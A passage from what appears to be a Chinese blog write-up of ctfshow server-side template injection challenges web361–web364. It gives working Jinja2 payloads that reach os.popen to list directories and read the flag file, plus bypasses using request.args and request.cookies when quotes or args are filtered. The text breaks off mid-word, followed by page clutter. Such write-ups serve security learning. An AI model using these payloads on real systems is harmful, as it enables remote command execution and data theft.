ctfshow-SSTI

SSTI

web361

payload:

?name={
  { config.__class__.__init__.__globals__['os'].popen('ls').read() }}

image-20220505233105314

?name={
  { config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

image-20220505233154996

之后打开

?name={
  { config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}

image-20220505233237388

得到flag

web362

payload同上

image-20220505233600861

web363

题中过滤了引号

使用request.args绕过

如果要构造

?name={
  { config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}

但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成

?name={
  { config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag

也就是上面的 ‘os’ 可以写为 request.args.a&a=os

?name={
  { config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag

image-20220505233830653

web364

此题在363关的基础上过滤了args

request.args是GET传参,可以使用其他方式来代替args,eg:cookie

?name={
  {url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cooki
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值